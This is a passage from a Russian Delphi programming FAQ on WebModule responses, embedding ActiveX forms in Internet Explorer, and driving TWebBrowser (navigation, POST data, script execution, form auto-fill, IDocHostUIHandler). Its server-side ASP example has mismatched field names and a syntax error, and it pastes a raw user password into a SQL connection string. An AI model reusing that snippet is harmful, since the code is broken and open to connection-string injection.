Тип содержимого HTTP ответа в соответствии со спецификацией MIME. Его необходимо использовать, чтобы установить тип содержимого передаваемого клиенту. Если к примеру нужно передать изображение в формате GIF, необходимо установить ContentType = 'image/gif'.
Content
Содержит непосредственно информацию, передаваемую клиенту в ответ на сообщение запроса HTTP.
ContentStream
Определяет Stream объект, который будет передан клиенту. Используют в основном для передачи клиенту содержимого отличного от ContentType = 'text/*'.
Request
Также автоматически создаваемый объект WebModule, с помощью которого можно получить информацию от пользователя. В принципе Request представляет текущий HTTP запрос в удобной для обработке форме. Его основные свойства:
ContentFields
Предоставляет содержимое полей POST запроса.
QueryFields
Предоставляет содержимое GET запроса. То есть извлекает необходимый параметр, передаваемый приложению из url. Как ContentFields, так и QueryFields возвращаю параметры в виде "имя = значение".
Пойдем дальше. Попробуем создать простейшее веб-приложение, что-то вроде новой вариации "Hello, world!" для IIS. WebModule у нас уже создан. Теперь возьмем с закладки компонентов Delphi Internet, компонент PageProducer, что отвечает за выдачу HTML-документа.

В свойстве HTMLDoc PageProducer наберем всем известное "Hello, world!". Теперь необходимо создать Add Item - новый обработчик событий. Сделаем так, чтобы он запускался по умолчанию. Для этого переведем свойство Default из False в True. И заключительный шаг - укажем обработчику на то, что он должен выдавать результат созданного PageProducer. В свойстве Producer выберем PageProducer.

Наше веб-приложение готово. Готовый dll нужно скопировать в каталог веб-сервера и запустить его через броузер, по адресу вроде http://localhost/cgi-bin/Project1.dll. В окне броузера должно появиться приветствие "Hello, world!".

Взято с http://delphiworld.narod.ru


Работа с IE, интерфейсами WebBrowser

Cодержание раздела:

Использование TwebBrowser (статья) New!
Как взять URL из окна IE?
Что из себя представляет TWebBrowser?
Где можно найти документацию на WebBrowser?
Как сохранить веб страничку в bitmap?
Как сохранить веб страничку в jpg?
Как производить Печать?
Как вызвать команды Find, Option или View Source?
Как работать со всеми фреймами, отображёнными в данный момент в WebBrowser?
Кобинации клавиш Ctrl-C, Ctrl-O, и т.д. не срабатывают. В чём проблема?
Как работать со всеми ячейками < TABLE> ?
Как получить полный исходник HTML?
Как сделать WebBrowser плоским вместо 3D?
Как получить POST данные?
Как использовать протокол about?
Как использовать протокол res?
Как запретить всплывающее меню при нажатии правой книпки мыши?
Как загрузить строковые данные в WebBrowser не прибегая к открытию файла?
Как загрузить потоковые(stream) данные в WebBrowser не прибегая к открытию файла?
Что такое DOM?
Как добраться до конкретного фрейма?
Как добавить пункт в контекстное меню IE?
Как добавить кнопку в панель инструментов IE?
Как очистить кэш в IE?
Как добавить Cookies?
Как получить активный URL из браузера?
Связка ActiveX - Internet Explorer
Как открыть HTML-файл в стандартном браузере?
Как сохранить исходник HTML из TWebBrowser.Document на диск?
Как выполнить Javascript функцию?
Как проверить является ли текущее соединение в TWebbrowser secure (SSL)?
Как нажать кнопку в TWebbrowser когда в окне есть несколько кнопок?
Как автоматически заполнить поля формы в IE?
Как узнать версию Internet Explorer?
Найти и выделить текст в TWebBrowser?
Как загрузить HTML код непосредственно в TWebbrowser?
Как добавить текущую страницу TWebbrowser в favorites?
Как прочитать/изменить startpage IE?
Как скрыть контекстное меню TWebbrowser?
Использоватние Drag and Drop для заполнения полей в TWebBrowser?
Как определить установлен ли Internet Explorer?
Как узнать browser по умолчанию?
Как узнать путь к браузеру по умолчанию?
Работа с печатью в TWebBrowser
Как получить handle на editbox в Internet Explorer?
Как прочитать выделенный текст из IE? New!
Как сохранить все картинки TWebbrowser? New!
Create a TWebBrowser at Runtime? New!
Save all TWebbrowser Frame Sources? New!
Перехват сообщений IE New!
RadioButtons in a TWebbrowser New!
Узнать информацию о проксисервере New!
How to add alternative text to a Webbrowser image? New!
Как найти и выделить текст TWebBrowser? New!
Добавить HTML к TWebbrowser Document? New!
Навигация в TWebbrowser по линкам New!
Как вызвать скрытые команды TWebBrowser? New!
Читать значения переменных из JavaScript? New!
Как обновить все окна Internet Explorer? New!
Как перевести TWebBrowser в режим редактирования (дизайна)? New!
Получить или установить задний фон в TWebBrowser New!
Как получить текст HTML Документа из TWebBrowser без тегов New!
Скопировать, удалить, вставить в TWebBrowser New!
Как сделать WebBrowser средствами Delphi? New!
Удалить временные файлы IE New!
Закрытие всех окон IE New!
Не работает кнопка <Enter> в WebBrowser New!
Cut и Copy отказываются работать New!

См. также статьи в других разделах:
Как переделать TLabel в URL?


Связка ActiveX - Internet Explorer

А знаете ли вы, что на Delphi можно писать ActiveX компоненты? Конечно знаете. А что с их помощью можно взаимодействовать с Internet Explorer? Это может быть интересно для профессиональных вебмастеров, скажете вы, но я не согласен. "Простой" программист тоже может найти массу применений этому. Здесь будет описано одно из них. Все мы лазим (ходим и т.д.) по интернету. И вы тоже - раз читаете эти строки :). А не случалось ли вам, случайно где-то побывав, что-то прочитав и благополучно забыв адрес сайта через некоторое время вдруг понять, что там было именно то, что вам сейчас срочно понадобилось? Можно конечно посмотреть History браузера, можно залезть в кэш "руками" и попытаться найти там что-то. А можно написать компонент, который бы искал слова в файлах кэша (в общем случае в любых HTML-файлах) и выводил бы на просмотр требуемые файлы. Связать этот компонент с Эксплорером - и вперед. Что удобно - вся работа происходит в эксплорере: и поиск, и,естественно, просмотр. При этом для Delphi-программиста не нужны особые знания языка HTML, скриптовых языков и т.п. Достаточно знать несколько основных конструкций (а уж справочных руководств в интернете навалом - хотя бы на www.citforum.ru). Написанный ActiveX-компонент вставляется в HTML-страничку. Вот пример простейшей странички

<HTML>
<HEAD>
<TITLE>Поиск</TITLE>
</HEAD>
<BODY>
<P ALIGN=CENTER>
<OBJECT ID="findword1" - {при помощи этого тэга компонент вставляется в страничку}
CLASSID="CLSID:47E50425-E611-11D3-970A-4854E82B17E6"
CODEBASE="C:\PATH\FINDWORDS.OCX">
</OBJECT>
</P>
</BODY>
</HTML>

В этом примере ActiveX-компонент, находящийся в файле C:\PATH\FINDWORDS.OCX вставляется в HTML-страничку. Но важно отметить, что эта страничка откроется только в Microsoft Internet Explorer версии 4 и старше. Пишут, что третий эксплорер тоже поддерживает тэг <OBJECT>, но сам не пробовал, не знаю. Браузеры Netscape, Opera и какие еще там бывают, его не поддерживают.
Итак, тэг <OBJECT> вставляет в страничку ActiveX-компонент. Его атрибут CLASSID указывает идентификатор класса нашего компонента. При создании в Delphi компонента с нуля ему автоматически присваивается этот идентификатор класса. ID="findword1" - имя объекта. Здесь можно писать любое имя. По нему мы в дальнейшем будем ссылаться на наш компонент в теле странички из скриптов-процедур обработки событий. Далее, для того, чтобы наш компонент мог использоваться прикладными программами, он должен быть зарегистрирован в реестре. Зарегистрировать его можно программой regsvr32, которая по умолчанию находится в каталоге [System]. Например так: [regsvr32 C:\PATH\FINDWORDS.OCX]. Если при открытии странички Explorer не находит в реестре указанный компонент, то он ищет его в местоположении, указанном атрибутом CODEBASE. Здесь может быть полный путь к файлу, если он находится на вашем жестком диске или даже URL-адрес (со всеми сопутствующими атрибутами, как то http:// и т.д.).Т.е, если эксплорер встретил ссылку на компонент, а этого компонента нет на вашей машине, он может загрузить его из интернета с указанного адреса. Кстати, атрибут CLASSID - обязательный, именно по нему производится "идентификация" класса. А атрибут CODEBASE - необязательный. В случае, когда он опущен, если компонент уже зарегистрирован в системе, то он отобразится в вашей страничке, если не зарегистрирован - страничка будет пустой. И наконец если эксплорер сам регистрирует компонент, он переписывает файл OCX в папку [Windows\Downloaded program files].
Для того, чтобы вручную не писать скрипты подсоединения ActiveX компонентов, я советую скачать программу Microsoft ActiveX Control Pad отсюда. Эта программа предназначена для внедрения ActiveX-компонентов в HTML-странички. После ее работы определение компонента выглядит примерно так:

<OBJECT ID="findword1"
CLASSID="CLSID:47E50425-E611-11D3-970A-4854E82B17E6"
CODEBASE="C:\PATH\FINDWORDS.OCX">
<PARAM NAME="Visible" VALUE="-1">
<PARAM NAME="AutoScroll" VALUE="0">
<PARAM NAME="AutoSize" VALUE="0">
<PARAM NAME="AxBorderStyle" VALUE="1">
<PARAM NAME="Caption" VALUE="findword">
<PARAM NAME="Color" VALUE="2147483663">
<PARAM NAME="Font" VALUE="MS Sans Serif">
<PARAM NAME="KeyPreview" VALUE="0">
<PARAM NAME="PixelsPerInch" VALUE="96">
<PARAM NAME="PrintScale" VALUE="1">
<PARAM NAME="Scaled" VALUE="-1">
<PARAM NAME="DropTarget" VALUE="0">
<PARAM NAME="HelpFile" VALUE="">
<PARAM NAME="DoubleBuffered" VALUE="0">
<PARAM NAME="Enabled" VALUE="-1">
<PARAM NAME="BiDiMode" VALUE="0">
<PARAM NAME="Cursor" VALUE="0">
<PARAM NAME="filename" VALUE="nothing">
</OBJECT>

Т.е. эта программа сама подставляет полное определение компонента (его CLASSID, например). Правда, полученный код иногда приходится подправлять вручную. Например может потребоваться убрать явное указание высоты и ширины объекта.
Теперь подходим к самому главному: как сделать сам компонент (чтобы было что вставлять в нашу страничку :). Итак, в Delphi делаем New\ActiveX\Active form. В окошке Active Form Wizard выбираем Threading model=Apartment. Другие threading models не работают с IE 4. Выглядит это так: компонент в страничке открывается, но иногда вдруг выскакивает Access violation. (обычно на событие Create). Модель же Both работает с IE 5. Флажок "Include Design-Time licence" лучше не устанавливать. Дальше открывается новая форма, где вы можете размещать свои кнопки-текстбоксы, определять реакцию на события и т.д.
Далее будут описаны некоторые хитрости. Например, нужно хранить некоторые данные во внешнем файле. Я столкнулся со следующим: мой компонент на разных машинах размещал свои файлы в разных местах: на одной в каталоге Windows, на другой - на рабочем столе. Был найден такой выход: пусть страничка по требованию компонента возвращает ему каталог, в котором она находится. Для этого на форму я поместил PageControl, сделал закладки невидимыми и на OnShow (у формы ActiveX компонента нет события OnShow) одной из страниц поставил генерацию собственного события OnWantDir. А в теле HTML-странички соответственно реакцию на него:

<SCRIPT LANGUAGE="VBScript">
<!--
Sub findword1_OnWantDir()
findword1.page_location = location.href
End Sub
-->
</SCRIPT>

Далее, это событие OnShow происходит сразу после создания экземпляра компонента. Так вот, если событие OnWantDir генерировать непосредственно в нем (в OnShow), то видимо что-то в недрах Windows не успевает провернуться и машина виснет. Поэтому пришлось повесить на форму таймер, на OnShow таймер запускать, и уже на OnTimer как раз и вызывать свое событие OnWantDir. Интервал у таймера я поставил в полсекунды. Конечно можно было бы хранить свои файлы например в каталоге [Windows], но почему-то функция GetWindowsDirectory при вызове из ActiveX-компонента возвращала ошибку, хотя тут же нормально отрабатывала из обыкновенного приложения (exe). То же и с GetSystemDirectory и GetTempDirectory. Кто не знает как делать собственные свойства и события - кликайте сюда.
Как сделать компонент тиражируемым? Чтобы пользователь смог работать с ним сразу же, не запуская никаких дополнительных программ, не указывая всяких-разных путей и т.д. Вот пример HTML-странички (а здесь его скриншот):

<html>
<HEAD>
<title>Поиск</title>
<SCRIPT LANGUAGE="VBScript">
<!--
Sub Procedure1()
location.href = findword1.NewStroke
{Получить от компонента имя файла и открыть его для просмотра. Эта процедура запускается при возникновении события OnDocClick. Location - объект Explorer'а (см. документацию по VBScript)}
End Sub
-->
</SCRIPT>
</HEAD>
<SCRIPT LANGUAGE="VBScript">
<!--
Sub findword1_OnWantDir()
findword1.page_location = location.href
{Получить текущий каталог, т.е. свойству page_location объекта присвоить местоположение нашей странички}
end sub
Sub findword1_OnDocClick()
{При возникновении события OnDocClick вызвать процедуру Procedure1 (открыть файл для просмотра)}
call Procedure1()
end sub
-->
</SCRIPT>
<p align = "center">
<OBJECT ID="findword1"
CLASSID="CLSID:47E50425-E611-11D3-970A-4854E82B17E6"
CODEBASE="findwords.ocx">
{Здесь просто имя файла без пути. Explorer зарегистрирует компонент невидимо для пользователя, взяв его из текущеего каталога (страничка и файл OCX находятся в одном каталоге)}
<PARAM NAME="Visible" VALUE="-1">
<PARAM NAME="AutoScroll" VALUE="0">
<PARAM NAME="AutoSize" VALUE="0">
<PARAM NAME="AxBorderStyle" VALUE="1">
<PARAM NAME="Caption" VALUE="findword">
<PARAM NAME="Color" VALUE="2147483663">
<PARAM NAME="Font" VALUE="MS Sans Serif">
<PARAM NAME="KeyPreview" VALUE="0">
<PARAM NAME="PixelsPerInch" VALUE="96">
<PARAM NAME="PrintScale" VALUE="1">
<PARAM NAME="Scaled" VALUE="-1">
<PARAM NAME="DropTarget" VALUE="0">
<PARAM NAME="DoubleBuffered" VALUE="0">
<PARAM NAME="Enabled" VALUE="-1">
<PARAM NAME="BiDiMode" VALUE="0">
<PARAM NAME="Cursor" VALUE="0">
<PARAM NAME="filename" VALUE="nothing">
<PARAM NAME="page_location" VALUE="">
</OBJECT>
</p>
</BODY>
</html>
И еще раз: 1) открываем нашу страничку (в IE 4 и выше); 2) если компонент зарегистрирован, он сразу показывается, если не зарегистрирован, то регистрируется и показывается. При этом: 3) после создания выдерживается пауза в полсекунды и запрашивается текущий каталог (и страничка и сам OCX-файл находятся в одном каталоге, который и будет текущим). 4) если нужно открыть на просмотр какую либо страничку (выбранную пользователем в процессе работы из списка - см. скриншот), то свойству компонента (при внедрении его в страничку правильнее будет называть его уже объектом) присваивается значение (имя файла), генерируется событие. Процедура-скрипт обработчик этого события читает свойство и отрывает требуемый файл

Взято из http://forum.sources.ru

Примечание Vit: Данный FAQ не поддерживает вложения, поэтому все линки данного топика не рабочие. Используйте оригинал с Web сайта для полной функциональности: http://www.sources.ru/delphi/delphi_activex_ie.shtml


Что такое DOM?

Взято из FAQ:http://blackman.km.ru/myfaq/cont4.phtml
Перевод материала с сайта members.home.com/hfournier/webbrowser.htm

Document Object Model это платформенно независимый интерфейс,
позволяющий программам и скриптам динамически обновлять и
изменять содержимое, структуру и стиль документов. Вопрос: Где можно почитать документацию по DOM? Ответ: Обзор материалов по DOM на W3C site , а так же FAQ.
Не забудьте заглянуть на Document object на сайте Microsoft.


Как выполнить Javascript функцию?

uses
  MSHTML_TLB, SHDocVw, ShellAPI;

// function to execute a script function

function ExecuteScript(doc: IHTMLDocument2; script: string; language: string): Boolean;
var
  win: IHTMLWindow2;
  Olelanguage: Olevariant;
begin
  if doc <> nil then
  begin
    try
      win := doc.parentWindow;
      if win <> nil then
      begin
        try
          Olelanguage := language;
          win.ExecScript(script, Olelanguage);
        finally
          win := nil;
        end;
      end;
    finally
      doc := nil;
    end;
  end;
end;

// 2 Examples how to login to gmx homepage

procedure FillInGMXForms(WB: ShDocVW_TLB.IWebbrowser2; IDoc1: IHTMLDocument2;
  Document: Variant; AKennung, APasswort: string);
const
  IEFields: array[1..4] of string = ('INPUT', 'text', 'INPUT', 'password');
var
  IEFieldsCounter: Integer;
  i: Integer;
  m: Integer;
  ovElements: OleVariant;
begin
  if Pos('GMX - Homepage', Document.Title) <> 0 then

    while WB.ReadyState <> READYSTATE_COMPLETE do
      Application.ProcessMessages;

  // count forms on document and iterate through its forms
  IEFieldsCounter := 0;
  for m := 0 to Document.forms.Length - 1 do
  begin
    ovElements := Document.forms.Item(m).elements;

    // iterate through elements
    for i := ovElements.Length - 1 downto 0 do
    begin
      try
        // if input fields found, try to fill them out
        if (ovElements.item(i).tagName = IEFields[1]) and
          (ovElements.item(i).type = IEFields[2]) then
        begin
          ovElements.item(i).Value := AKennung;
          Inc(IEFieldsCounter);
        end;

        if (ovElements.item(i).tagName = IEFields[3]) and
          (ovElements.item(i).type = IEFields[4]) then
        begin
          ovElements.item(i).Value := APasswort;
          Inc(IEFieldsCounter);
        end;
      except
        // failed...
      end;
    end; { for i...}
  end;  { for m }
  // if the fields are filled in, submit.
  if IEFieldsCounter = 3 then ExecuteScript(iDoc1, 'document.login.submit()',
      'JavaScript');
end;

function LoginGMX_IE(AKennung, APasswort: string): Boolean;
var
  ShellWindow: IShellWindows;
  WB: ShDocVW_TLB.IWebbrowser2;
  spDisp: IDispatch;
  IDoc1: IHTMLDocument2;
  Document: Variant;
  k: Integer;
begin
  ShellWindow := CoShellWindows.Create;
  // get the running instance of Internet Explorer
  for k := 0 to ShellWindow.Count do
  begin
    spDisp := ShellWindow.Item(k);
    if spDisp = nil then Continue;
    // QueryInterface determines if an interface can be used with an object
    spDisp.QueryInterface(iWebBrowser2, WB);
    if WB <> nil then
    begin
      WB.Document.QueryInterface(IHTMLDocument2, iDoc1);
      if iDoc1 <> nil then
      begin
        WB := ShellWindow.Item(k) as ShDocVW_TLB.IWebbrowser2;
        Document := WB.Document;
        // if GMX page...
        FillInGMXForms(WB, IDoc1, Document, AKennung, APasswort);
      end;  { idoc <> nil }
    end; { wb <> nil }
  end;  { for k }
end;

// Example 1: Navigate to the gmx homepage in the IE browser an login
procedure TForm1.Button1Click(Sender: TObject);
begin
  ShellExecute(Handle,
    'open',
    'http://www.gmx.ch',
    nil,
    nil,
    SW_SHOW);
  Sleep(2000);
  LoginGMX_IE('user@gmx.net', 'pswd');
end;

// Example 2: navigate to the gmx homepage in the Webbrowser an login
procedure TForm1.Button2Click(Sender: TObject);
var
  IDoc1: IHTMLDocument2;
  Web: ShDocVW_TLB.IWebBrowser2;
begin
  Webbrowser1.Navigate('http://www.gmx.ch');
  while Webbrowser1.ReadyState <> READYSTATE_COMPLETE do
    Application.ProcessMessages;
  Webbrowser1.Document.QueryInterface(IHTMLDocument2, iDoc1);
  Web := WebBrowser1.ControlInterface;
  FillInGMXForms(Web, iDoc1, Webbrowser1.Document, 'user@gmx.net', 'pswd');
end;
Взято с сайтаhttp://www.swissdelphicenter.ch/en/tipsindex.php


Использование TwebBrowser (статья)

Использование TWebBrowser
Во многих современных программах требуется работа с данными в формате HTML. В качестве средства для просмотра таких данных в Delphi используется ActiveX компонент TWebBrowser, который использует компонент WebBrowser, входящий в состав Microsoft Internet Explorer. Таким образом, он имеется на любом компьютере, на котором установлен Internet Explorer. Все последние версии Windows включают этот компонент в стандартной поставке и, более того, практически неработоспособны без него.

Базовые операции
Для того, чтобы использовать TWebBrowser в своей программе необходимо разместить на форме соответствующий компонент, размещенный на закладке Internet. После этого, чтобы отобразить в нем страницу HTML, необходимо вызвать его метод Navigate

procedure TForm1.Button1Click(Sender: TObject);
var
  Flags, TargetFrameName, PostData, Headers: OleVariant;
begin
  WebBrowser1.Navigate('http://www.borland.com', Flags,
    TargetFrameName, PostData, Headers);
end;

Рассмотрим подробнее параметры, передаваемые в метод Navigate.
Первым параметром передается строка с URL, указывающим адрес, из которого должна осуществляться загрузка. Поддерживаются все протоколы, доступные в IE, например file:// - загрузка файла, res:// - загрузка из ресурса.
Остальные параметры не являются обязательными и служат для передачи дополнительной информации.
Flags Целое число, представляющее из себя битовую маску из следующих флагов: 1 Открыть ресурс в новом окне 2 Не добавлять страницу в историю просмотренных 4 Не загружать страницу из кэша 8 Не сохранять страницу в кэше
TargetFrameName Задает имя фрейма, в который будет загружена страница
PostData Задает данные для запроса с сервера методом HTTP POST. Если этот параметр пустой – используется метод GET
Headers Задает дополнительные заголовки HTTP
Наиболее интересным является параметр PostData, позволяющий передать на Web-Server данные, полученные в результате заполнения формы, если этот сервер требует HTTP – транзакции POST. Например, следующий фрагмент кода передает на сервер имя пользователя и пароль, заполненные в форме Delphi

var
  LoginDialog: TLoginDialog;
  Flags, TargetFrameName, PostData, Headers: OleVariant;
  S: String;

...
with TLoginDialog.Create(Application) do
try
  if ShowModal = mrOk then
  begin
    S := Format('UserName=%s&Password=%s', [Edit1.Text, Edit2.Text]);
    PostData := VarArrayCreate([1, Length(S) + 1], varByte);
    System.Move(S[1], VarArrayLock(PostData)^, Length(S) + 1);
    VarArrayUnlock(PostData);
    Headers :=
      'Content-Type: application/x-www-form-urlencoded'#10#13;
    WebBrowser1.Navigate('http://intranetserver/secretpage', Flags,
      TargetFrameName, PostData, Headers);
  end;
finally
  Free;
end;

На Web-сервере этот запрос может быть обработан, например, следующим ASP – скриптом:

  Dim sConnect
  Dim sUserName
  Dim sPassword

  sUserName = Request.Form("User")
  sPassword = Request.Form("Pass"

  sConnect = "Provider=SQLOLEDB.1;Persist Security Info=True;" & _
             "Initial Catalog=Katren;Data Source=DBSERVER;" & _
             "Password=" & sPassword & _
             ";User ID=" & sUserName

  Session("ConnectString") = sConnect

После того как данные получены, необходимо дать пользователю возможность для работы с ними. Многие функции TWebBrowser доступны через метод ExecWB, предоставляющий простой способ обращения к интерфейсу IOleCommandTarget.
Этот метод имеет вид:

procedure TWebBrowser.ExecWB(
  cmdID: OLECMDID;            // идентификатор команды
  cmdexecopt: OLECMDEXECOPT;  // параметры выполнения
  var pvaIn,                  // дополнительные параметры,
  pvaOut: OleVariant          // зависящие от команды
); safecall;

CmdID может быть одной из констант OLECMDID, определенных в файле ShDocVw.pas.
Параметр cmdexecopt может принимать одно из следующих четырех значений:
OLECMDEXECOPT_DODEFAULT Выполнить команду с настройками «по умолчанию»
OLECMDEXECOPT_PROMPTUSER Запросить у пользователя настройки для выполнения команды (например, при печати – вывести диалог Print Setup)
OLECMDEXECOPT_DONTPROMPTUSER Выполнить команду не запрашивая пользователя
OLECMDEXECOPT_SHOWHELP Вывести справку о команде
Параметры pvaIn и pvaOut – дополнительные и зависят от конкретной команды.
Имеется возможность запросить у TWebBrowser доступность той или иной команды при помощи функции:

function TWebBrowser.QueryStatusWB(
  cmdID: OLECMDID   // идентификатор команды
): OLECMDF; safecall;

Функция возвращает битовую маску из следующих значений:
OLECMDF_SUPPORTED Команда поддерживается
OLECMDF_ENABLED Команда поддерживается и разрешена
OLECMDF_LATCHED Команда – переключатель и сейчас включена
OLECMDF_NINCHED Зарезервировано
Таким образом, можно настраивать интерфейс, в зависимости от поддерживаемых текущей версией TWebBrowser возможностей:

var
  Flags: OLECMDF;

...

Flags := WebBrowser1.QueryStatusWB(OLECMDID_COPY);
ActionCopy.Visible := (Flags and OLECMDF_SUPPORTED) =
  OLECMDF_SUPPORTED;
ActionCopy.Enabled := (Flags and OLECMDF_ENABLED) =
  OLECMDF_ENABLED;

Для печати содержимого TWebBrowser служит команда OLECMDID_PRINT. Метод печати, может выглядеть, например, следующим образом:

procedure TForm1.ActionPrintExecute(Sender: TObject);
var
  A, B: OleVariant;
  UserAction: Cardinal;
begin
  if Sender = ActionPrintWithSetup then
    UserAction := OLECMDEXECOPT_PROMPTUSER
  else
    UserAction := OLECMDEXECOPT_DONTPROMPTUSER;
  try
    WebBrowser1.ExecWB(OLECMDID_PRINT, UserAction, A, B);
  except
  end;
end;

Блок try … except … end необходим, поскольку TWebBrowser при выполнении любой команды при помощи ExecWB генерирует исключение EOleException с кодом:
-2147221248 ($80040100) Trying to revoke a drop target that has not been registered.
Начиная с Internet Explorer 5 документированы дополнительные команды, поддерживаемые через интерфейс IOleCommandTarget. Они существенно расширяют возможности по управлению компонентом, однако недоступны, либо не документированы в версии 4. Это создает определенные сложности при программировании. Например, чтобы организовать поиск внутри загруженной страницы необходим следующий код:

const
  // Недокументированная константа
  CGID_IE4: TGUID = '{ed016940-bd5b-11cf-ba4e-00c04fd70816}';
  // Документировано в IE5 SDK
  CGID_MSHTML: TGUID = '{DE4BA900-59CA-11CF-9592-444553540000}';
  IDM_FIND = 67;

procedure TForm1.ActionFindExecute(Sender: TObject);
var
  A, B: OleVariant;
  Target: IOleCommandTarget;
  OleCmd: TOLECMD;
begin
  // Получаем интерфейс IOleCommandTarget
  Target := wbMain.Document as IOLECommandtarget;
  with OleCmd do
  begin
    cmdId := IDM_FIND;
    cmdf  := 0;
  end;
  // Запрашиваем, поддерживается ли команда
  Target.QueryStatus(@CGID_MSHTML, 1, @OleCmd, NIL);
  if (OleCmd.cmdf and OLECMDF_SUPPORTED) = OLECMDF_SUPPORTED then
    // Да, у нас IE5+ - вызываем документированным способом
    Target.Exec(@CGID_MSHTML, IDM_FIND,
      OLECMDEXECOPT_DODEFAULT, A, B)
  else
    // Нет, у нас IE4 - вызываем недокументированным способом
    Target.Exec(@CGID_IE4, 1, OLECMDEXECOPT_DODEFAULT, A, B);
end;

Использование недокументированного вызова в данном случае оправдано, т.к. в версии 4 этот вызов уже не будет изменяться, а в версию 5 мы обнаруживаем и используем документированный метод. В то же время IE4 еще достаточно распространен и совсем лишать программу возможности поиска на таких компьютерах не оправдано.

Тонкая настройка
Если необходима более тонкая настройка компонента – необходимо реализовать интерфейс IDocHostUIHandler, позволяющий программисту взять под контроль поведение TWebBrowser.
Интерфейс объявлен как:

type
  TDocHostInfo = packed record
    cbSize: ULONG;
    dwFlags: DWORD;
    dwDoubleClick: DWORD;
  end;

const
  DOCHOSTUIFLAG_DIALOG = 1;
  DOCHOSTUIFLAG_DISABLE_HELP_MENU = 2;
  DOCHOSTUIFLAG_NO3DBORDER = 4;
  DOCHOSTUIFLAG_SCROLL_NO = 8;
  DOCHOSTUIFLAG_DISABLE_SCRIPT_INACTIVE = 16;
  DOCHOSTUIFLAG_OPENNEWWIN = 32;
  DOCHOSTUIFLAG_DISABLE_OFFSCREEN = 64;
  DOCHOSTUIFLAG_FLAT_SCROLLBAR = 128;
  DOCHOSTUIFLAG_DIV_BLOCKDEFAULT = 256;
  DOCHOSTUIFLAG_ACTIVATE_CLIENTHIT_ONLY = 512;

const
  DOCHOSTUIDBLCLK_DEFAULT = 0;
  DOCHOSTUIDBLCLK_SHOWPROPERTIES = 1;
  DOCHOSTUIDBLCLK_SHOWCODE = 2;
type
  IDocHostUIHandler = interface(IUnknown)
    ['{bd3f23c0-d43e-11cf-893b-00aa00bdce1a}']
    function ShowContextMenu(const dwID: DWORD; const ppt: PPOINT;
      const pcmdtReserved: IUnknown;
      const pdispReserved: IDispatch): HRESULT; stdcall;
    function GetHostInfo(var pInfo: TDOCHOSTUIINFO): HRESULT;
      stdcall;
    function ShowUI(const dwID: DWORD;
      const pActiveObject: IOleInPlaceActiveObject;
      const pCommandTarget: IOleCommandTarget;
      const pFrame: IOleInPlaceFrame;
      const pDoc: IOleInPlaceUIWindow): HRESULT; stdcall;
    function HideUI: HRESULT; stdcall;
    function UpdateUI: HRESULT; stdcall;
    function EnableModeless(const fEnable: BOOL): HRESULT; stdcall;
    function OnDocWindowActivate(const fActivate: BOOL): HRESULT;
      stdcall;
    function OnFrameWindowActivate(const fActivate: BOOL): HRESULT;
      stdcall;
    function ResizeBorder(const prcBorder: PRECT;
      const pUIWindow: IOleInPlaceUIWindow;
      const fRameWindow: BOOL): HRESULT; stdcall;
    function TranslateAccelerator(const lpMsg: PMSG;
      const pguidCmdGroup: PGUID;
      const nCmdID: DWORD): HRESULT; stdcall;
    function GetOptionKeyPath(var pchKey: POLESTR;
      const dw: DWORD): HRESULT; stdcall;
    function GetDropTarget(const pDropTarget: IDropTarget;
      out ppDropTarget: IDropTarget): HRESULT; stdcall;
    function GetExternal(out ppDispatch: IDispatch): HRESULT;
      stdcall;
    function TranslateUrl(const dwTranslate: DWORD;
      const pchURLIn: POLESTR; var ppchURLOut: POLESTR): HRESULT;
      stdcall;
    function FilterDataObject(const pDO: IDataObject;
      out ppDORet: IDataObject): HRESULT; stdcall;
  end;

Наследник TWebBrowser, реализующий этот интерфейс должен быть объявлен как

type
  TCustomizedWebBrowser = class(TWebBrowser, IDocHostUIHandler)
    // Реализация методов IDocHostUIHandler
  end;

Код такого компонента, реализующего минимальную функциональность приведен на CD-ROM. Вы можете использовать его как основу для создания своих расширенных наследников TWebBrowser.
Рассмотрим наиболее интересные с точки зрения программиста методы интерфейса IDocHostUIHandler.

function ShowContextMenu(const dwID: DWORD; const ppt: PPOINT;
  const pcmdtReserved: IUnknown;
  const pdispReserved: IDispatch): HRESULT;

Эта функция вызывается, когда TWebBrowser должен показать контекстное меню. Если Вы отображаете собственное меню, либо хотите подавить меню – функция должна вернуть S_OK, если меню должен показать TWebBrowser – S_FALSE.
В неё передаются следующие параметры:
DwID – идентификатор меню, который может принимать одно из следующих значений:

const
  CONTEXT_MENU_DEFAULT = 0;
  CONTEXT_MENU_IMAGE = 1;
  CONTEXT_MENU_CONTROL = 2;
  CONTEXT_MENU_TABLE = 3;
  CONTEXT_MENU_DEBUG = 4;
  CONTEXT_MENU_1DSELECT = 5;
  CONTEXT_MENU_ANCHOR = 6;
  CONTEXT_MENU_IMGDYNSRC = 7;

в зависимости от значения идентификатора Вы можете вывести подходящее меню
ppt – координаты, в которых должно быть показано меню
pcmdtReserved – интерфейс IOleCommandTarget, позволяющий запросить состояние команд и их выполнение
pdispReserved – интерфейс IDispatch объекта, для которого вызывается меню
Простейшая реализация этого метода может выглядеть следующим образом:

function TcustomizedWebBrowser.ShowContextMenu(const dwID: DWORD;
  const ppt: PPOINT;  const pcmdtReserved: IUnknown;
      const pdispReserved: IDispatch): HRESULT;
begin
  // Предполагаем, что поле FPopupMenu хранит ссылку
  // на компонент TPopupMenu
  if Assigned(FPopupMenu) then begin
    pmContext.Popup(ppt.X, ppt.Y);
    Result := S_OK;
  end
  else Result := S_FALSE;
end;

Для полного запрета контекстного меню метод должен всегда возвращать S_OK.
function GetHostInfo(var pInfo: TDocHostInfo): HRESULT; stdcall;
Приложение может заполнить структуру pInfo, определенную как:

TDocHostInfo = packed record
  cbSize: ULONG;
  dwFlags: DWORD;
  dwDoubleClick: DWORD;
end;

dwFlags – битовая маска из следующих флагов:
DOCHOSTUIFLAG_DIALOG
Запрещает выделение текста в форме
DOCHOSTUIFLAG_DISABLE_HELP_MENU
Запрещает контекстное меню
DOCHOSTUIFLAG_NO3DBORDER
Подавляет вывод 3-мерной рамки вокруг компонента
DOCHOSTUIFLAG_SCROLL_NO
Отключает полосы прокрутки
DOCHOSTUIFLAG_DISABLE_SCRIPT_INACTIVE
Запрещает исполнение скриптов
DOCHOSTUIFLAG_OPENNEWWIN
Открывает ссылки в новых окнах
DOCHOSTUIFLAG_FLAT_SCROLLBAR
Использует плоский стиль для полос прокрутки
DOCHOSTUIFLAG_DIV_BLOCKDEFAULT
При вводе возврата каретки в режиме редактирования будет использоваться тег <DIV >, вместо <P>
DOCHOSTUIFLAG_ACTIVATE_CLIENTHIT_ONLY
